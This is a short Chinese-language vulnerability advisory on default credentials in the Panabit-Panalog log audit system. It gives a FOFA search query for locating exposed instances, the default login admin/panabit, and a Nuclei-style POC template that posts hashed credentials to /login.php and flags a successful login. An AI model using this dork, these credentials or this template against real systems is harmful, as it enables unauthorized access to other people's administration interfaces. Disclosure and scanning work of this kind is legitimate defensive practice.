Panabit-Panalog 弱口令漏洞

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述

Panabit-Panalog日志系统存在弱口令，可直接进入后台系统界面。

漏洞影响

• Panabit-Panalog日志审计系统

网络测绘

• FOFA：product="Panabit-Panalog"

漏洞复现

弱口令：admin/panabit

随机选取一个漏洞URL进入后台

漏洞POC

id: Panabit-Panalog-default-password

info:
  name: Panabit-Panalog日志系统存在弱口令
  author: linfeng7z
  severity: critical
  description: Panabit-Panalog日志系统存在弱口令，可直接进入后台系统界面
  tags: panabit,panalog,default-password
  metadata:
    fofa-qeury: product="Panabit-Panalog"
    veified: true

requests:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        
        user=05110f8b023d9f2ca362d32a4e371923&mypass=f09052b749115479ca208bad0873b4b8&useldap=0

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u7528\u6237\u4e0d\u5b58\u5728\u6216\u5bc6\u7801\u9519\u8bef'
        negative: true

      - type: dsl
        dsl:
          - "status_code == 200"

修复建议

请关注厂商的修复版本，并及时更新到最新版本。